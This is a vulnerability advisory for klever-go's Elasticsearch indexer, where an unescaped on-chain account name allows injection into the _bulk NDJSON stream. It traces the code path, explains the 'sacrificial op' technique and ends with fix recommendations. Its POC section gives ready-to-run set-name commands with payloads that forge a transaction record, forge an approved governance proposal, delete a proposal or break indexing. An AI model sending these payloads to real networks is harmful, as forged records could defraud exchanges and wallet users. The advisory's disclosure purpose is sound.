CVE-2026-82409 — Vulnerability in github.com/klever-io/klever-go —...

**Component:** Elasticsearch indexer (`indexer/`) **Primary location:** `indexer/common.go:2395-2407` (`serializedDataForUpdateAccounts`) **Entry point:** `SetAccountName` native transaction (contract type 12) — `core/process/transaction/txProcess.go:688` --- ## Description When the node indexes account updates to Elasticsearch, it builds the ES `_bulk` painless-script line by splicing the account's **name** directly into JSON with `fmt.Sprintf("%s", ...)` and **no escaping**: ```go // indexer/common.go:2395-2407 (serializedDataForUpdateAccounts) serializedData := []byte(fmt.Sprintf(`{"script":{"source":"`+ `ctx._source.name = params.name; ... `+ `","lang": "painless","params":`+ `{"name": "%s", "nonce": %d, "rootHash": "%s", "balance": %d, ...}}}`, acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...)) // acc.Name is RAW ``` `acc.Name` originates from on-chain account state: `indexer/accountInfo.go:31` sets `Name: string(userAccount.GetName())`. An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the `SetAccountName` handler: ```go // core/kapp/accounts/accounts.go:1740 if !utf8.Valid(tc.GetName()) || len(tc.GetName()) > core.MaxNameSize { ... } // MaxNameSize = 100 ``` The only constraints are **valid UTF-8** and **length ≤ 100 bytes**. Double-quote (`"`), backslash (`\`), and newline (`\n`) are all valid UTF-8 and are **not** rejected. The safe helper `converters.JsonEscape()` exists and is used for `_id` fields elsewhere in the same file (`common.go:893`, `:932`, `:961`) but is **not** applied to the name. The resulting buffer is POSTed verbatim to Elasticsearch `_bulk` by `elasticClient.DoBulkRequest` (`indexer/elasticClient.go:128`), with the index in the URL. The `_bulk` body is NDJSON — newline-delimited action/source pairs (`indexer/data/buffer.go:45` appends a `\n` after every entry). Therefore a name containing a quote and newlines can - inject arbitrary keys/structure into the document, - break the batch, and - inject entirely new bulk operations targeting **other** documents and **other** indices. `SetAccountName` is a first-class transaction contract type (`= 12`) dispatched natively at `txProcess.go:688` via `SetAccountName(tx.GetSender(), tc)`. The attacker names **their own** account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in `KleverSetAccountName`, but that path is not needed.) The name is written into consensus account state (`userAccount.SetName`, `data/state/userAccount.go:76`) and replicated to all nodes. The indexer reads it from **state**, not from the transaction, during each node's own block processing (`core/process/block/block.go:1141` `SaveBlock` / `SaveAccounts`). Consequently: - The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough. - Indexers typically run on **observer/gateway** nodes that power the public explorer/API — exactly the realistic victim. - The payload is **durable and replayable**: a newly stood-up indexer, or a historical re-index (import-DB mode, `cmd/node/startup.go:153`), re-reads the name from state and re-fires the injection. ### Escalation — from denial-of-indexing to arbitrary ES document CRUD Elasticsearch `_bulk` fails a malformed line differently by position: malformed **action** line → whole-batch HTTP 400 (nothing applies); malformed **source** line → **per-item** error (other items still apply). By appending a *sacrificial* action after the forged op, the serializer's fixed template tail (`", "nonce":...}}}`) lands in a source position (item-level error), so a clean forged op that precedes it is **applied**. This yields arbitrary create / overwrite / delete of documents in **any** index the indexer's ES credentials can write — cross-index via `{"index":{"_index":"...", "_id":"..."}}`. ### Deployment amplifier (default ES config) The Elasticsearch config klever ships (`docker/elasticsearch/elasticsearch.yml`, `docker/docker-compose.yml`) sets `xpack.security.enabled: false`, `network.host: 0.0.0.0`, publishes `9200:9200`, and CORS `*` with `POST,PUT,DELETE`. The node's default `config/node/external.yaml` connects with empty `username`/`password`. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, **this injection is the remote bridge** that reaches that private ES through the node's own trusted connection. --- ## POC The entire attack is a **single `SetAccountName` transaction** the attacker sends from any funded account, naming its **own** account with a crafted payload. ``` operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"index":{"_index":"transactions","_id":"t"}}\n{"status":"success"}\n{"index":{}}' ``` This submits contract type 12 (`SetAccountNameContract`) with: ``` Name = "}}}⏎{"index":{"_index":"transactions","_id":"t"}}⏎{"status":"success"}⏎{"index":{}} ``` (84 bytes ≤ MaxNameSize 100; `⏎` = literal `\n`. On-chain `Name` is `[]byte`, i.e. base64 `In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319`.) ``` { "update": { "_index":"accounts", "_id":"<attacker>" } } {"script":{ ... ,"params":{"name": ""}}} {"index":{"_index":"transactions","_id":"t"}} ← forged bulk action {"status":"success"} ← forged doc → written to `transactions` {"index":{}}", "nonce":1, ... }}} ← sacrificial op absorbs the template tail ``` **Observed result:** a forged document `{"status":"success"}` with `_id:"t"` appears in the `transactions` index — the attacker never submitted any such transaction: ``` GET transactions/_doc/t { "found": true, "_source": { "status": "success" } } ``` ### Escalation variants — same delivery, only the `Name` changes Each is a single `SetAccountName` tx sent the same way; only the payload differs. **Denial-of-indexing** (2-byte name — breaks the batch, drops every co-batched account update): ``` operator --node=http://<node>:8099 -k attacker.pem --sign account set-name 'x"' ``` **Cross-index write / forge a document** (e.g. a governance proposal doc; 82 bytes): ``` operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"index":{"_index":"proposals","_id":"5"}}\n{"status":"approved"}\n{"index":{}}' ``` **Delete a document** (e.g. proposal id 5; 61 bytes): ``` operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"delete":{"_index":"proposals","_id":"5"}}\n{"index":{}}' ``` --- ## Impact A single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch `_bulk` stream of **every node that indexes the chain** now or in the future. Two tiers of impact: 1. **Denial-of-indexing** A name containing a single `"` or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account's balance/name/nonce update is silently **dropped** → the explorer/API serves **stale** data. Repeatable every block. 2. **Arbitrary document CRUD across all indexer indices (escalation).** Using the sacrificial-op construction, the attacker can **create/overwrite/delete** documents in any klever index the indexer writes (`transactions`, `blocks`, `accounts`, `proposals`, `assets`, `marketplaces`, ...): forge "successful" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data can be fed fabricated records, enabling fraud (e.g. a forged `status:success` transaction). **Amplifiers:** the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated. --- ## Recommendation 1. **Escape the name .** Never splice on-chain strings into JSON with `fmt.Sprintf`. Either apply the existing `converters.JsonEscape()` to `acc.Name` (mirror the `_id` handling), or preferably build the entire bulk source with `json.Marshal` of a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit every `fmt.Sprintf`-built bulk/script line in `indexer/common.go` for the same pattern (RootHash and other `%s` fields on this and nearby paths). 2. **Restrict the on-chain account-name charset** at `SetAccountName` (`accounts.go:1740`) reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.